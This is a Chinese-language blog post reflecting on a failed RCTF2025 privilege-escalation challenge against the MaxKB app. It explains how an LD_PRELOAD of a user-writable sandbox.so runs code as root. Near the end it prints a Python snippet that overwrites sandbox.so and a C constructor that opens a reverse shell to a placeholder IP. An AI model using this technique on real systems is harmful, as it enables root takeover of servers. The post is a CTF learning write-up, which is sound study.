Featured image of post RCTF2025-rootb 战败复盘

RCTF2025-rootb 战败复盘

第一次做提权题

RCTF2025-rootb 战败复盘

第一次写提权题,像个无头苍蝇一样到处审代码审了两天,最后看WP复现就花了5分钟,人家WP写得还那么轻描淡写。感觉挫败感还是挺强的,努力变强吧…

碎碎念

虽然写这个题的那几天学了很多权限的知识,但是实际上我的方向和WP差距很大,现在想想主要有两个gap

第一,我发现sandbox在root组里面,这是一个非常让人有遐想空间的信息,如果是在一般的ctf里面那我觉得题目的出发点就在这里了,但这是一个成熟的商业应用,虽然这样写有一定风险,但不代表环境的漏洞就在这里

这个题目我的审查思路就是找同在root组里的文件看有没有操作空间,结果看了两天没有收获,但我忘了我是sandbox这个更基本的身份,sandbox下的文件不多,而且还有一个.so这样的敏感文件,虽然我当时研究过他半个小时,但是我当时主要是想看他有没有漏洞,而且根据之前的思维惯性还是盯着组权限,忘了我本身是对他有绝对控制权的(话说为什么要给用户.so文件绝对控制权啊😭),看WP的时候才突然想起我可以改他,如果我当时发现我可以更改这个.so文件我肯定会追着他看的。

然后就是题目的第二个体现我思维盲区的点,(但这个点应该不会卡着我),我看WP得到这里的exp是通过看github更新日志,找到的,因为第一次挖应用级程序的洞这个确实没往这个方向去想

如果在最新的更新日志中搜索这个sandbox.so,可以直接锁定到这个更新,让后可以知道这个代码的可行性,但其实不知道也行,如果我知道这个.so文件可以更改,那我应该会先追踪一段时间这个文件的来龙去脉,但是就算我不知道这是干嘛的,能不能越权,我也肯定会往里面塞一个反弹shell的.so文件,从事后来看这个恶意程序是百分百触发的,之后的工作只是进一步佐证了这个exp的可行性

你说可惜吧,我的思路和这个wp中呈现的方向是完全背离的,不可惜吧,我觉得如果我当时意识到这个文件我可以改写的话,我只要闭着眼把反弹shell的.so文件塞进去,哪怕什么流程都不知道也能得到flag,不管怎么说,都是太菜了,继续努力吧

复现

因为这个题目是一个商业级的应用,如果完全扒他学到的更多是开发方面的东西,这里主要看看这个exp可行的原理,也就是更新之后,更新的这个sandbox.so是如何被触发以及如何执行提权的

先看更新发生的变化

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
@@ -188,6 +194,9 @@ exec({dedent(code)!a})
                     self.user,
                 ],
                 'cwd': self.sandbox_path,
+                'env': {
+                    'LD_PRELOAD': f'{self.sandbox_path}/sandbox.so',
+                },
                 'transport': 'stdio',
             }
         else:
@@ -204,6 +213,9 @@ exec({dedent(code)!a})
             file.write(_code)
             os.system(f"chown {self.user}:root {exec_python_file}")
         kwargs = {'cwd': BASE_DIR}
+        kwargs['env'] = {
+            'LD_PRELOAD': f'{self.sandbox_path}/sandbox.so',
+        }
         subprocess_result = subprocess.run(
             ['su', '-s', python_directory, '-c', "exec(open('" + exec_python_file + "').read())", self.user],
             text=True,

先分析以下代码:

1
2
3
+ 'env': {
+     'LD_PRELOAD': f'{self.sandbox_path}/sandbox.so',
+ },

设置了新进程的环境变量 LD_PRELOAD:

LD_PRELOAD 是 Linux 系统中的一个环境变量。用来告诉动态链接器(Dynamic Linker),在加载程序所需的任何标准库(如 libc.so)之前,优先加载 LD_PRELOAD 指定的共享库(.so文件)。

  • 后果:如果这个被预加载的库里定义了与标准库同名的函数(比如 printf),程序就会使用预加载库里的版本(Hook/劫持)。
  • 更严重的后果:如果这个库里有 __attribute__((constructor)) 标记的函数,(感觉反弹shell的程序中都有这个),那么这个函数会在程序的主函数(main)运行之前就立刻执行。

反正到了这里就说明在新版程序中,如果要用到环境中任何标准库,都会强制新进程加载 {self.sandbox_path}/sandbox.so,可控的恶意程序,得到反弹shell

然后关于为什么是Root,以下是ai的看法:

你可能会注意到代码里有 ['su', '-s', ..., self.user],这看起来像是程序想要“降权”运行(Switch User 到一个普通用户)。

但是,逻辑漏洞在于加载时机:

  1. 发起者是谁? 能够执行 su 命令切换用户的,通常只有 root 用户(或者拥有 CAP_SETUID 能力的进程)。这意味着 MaxKB 的主进程大概率是以 root 身份运行在 Docker 里的。
  2. 注入时机LD_PRELOAD 的加载发生在进程启动的最早期。
  3. 关键点:当 subprocess.run 启动 su 命令时,su 这个二进制文件被加载到内存中。此时,LD_PRELOAD 生效,你的恶意代码被加载并执行。
  4. 权限状态
    • 虽然 su 的目的是为了降权,但在它完成降权操作之前,或者说在启动 su 这个动作本身时,父进程赋予的环境变量导致了恶意代码的执行。
    • 如果 MaxKB 是 root 运行的,它派生出的子进程在最开始也是继承 root 权限的(在 su 真正切换 ID 之前,或者如果 LD_PRELOAD 甚至劫持了 su 本身)。
    • 更常见的情况:在 Docker 这种容器环境下,Web 服务往往直接用 root 跑。攻击者劫持了加载过程,反弹回来的 Shell 自然就是启动该进程的用户权限(Root)。

讲的就是开发者想到了这个攻击点并进行了降权,但是写错了,因为这一点我没办法很好验证方案,所以就只把这个说法放在这里进行参考

覆写相关代码如下:

1
2
3
4
5
6
7
8
def payload():
    import base64
    import os
    malicious_so_b64="xxxx"
    malicious_data = base64.b64decode(malicious_so_b64)
    with open("/opt/maxkb-app/sandbox/sandbox.so", "wb") as f:
        f.write(malicious_data)  
    return "sandbox.so replaced successfully"
1
2
3
4
5
6
7
8
#include <stdio.h>
#include <stdlib.h>
__attribute__((constructor)) void init() {
  system("python3 -c \"import os; import socket; s = "
         "socket.socket(socket.AF_INET, socket.SOCK_STREAM); "
         "s.connect(('xx.xx.xx.xx', xxxx)); fd = s.fileno(); os.dup2(fd, "
         "0); os.dup2(fd, 1); os.dup2(fd, 2); os.system('/bin/sh')\"");
}

早点变强吧

你好,这是一个随便写写,随便看看的无聊而与我很重要的网站。
使用 Hugo 构建
主题 StackJimmy 设计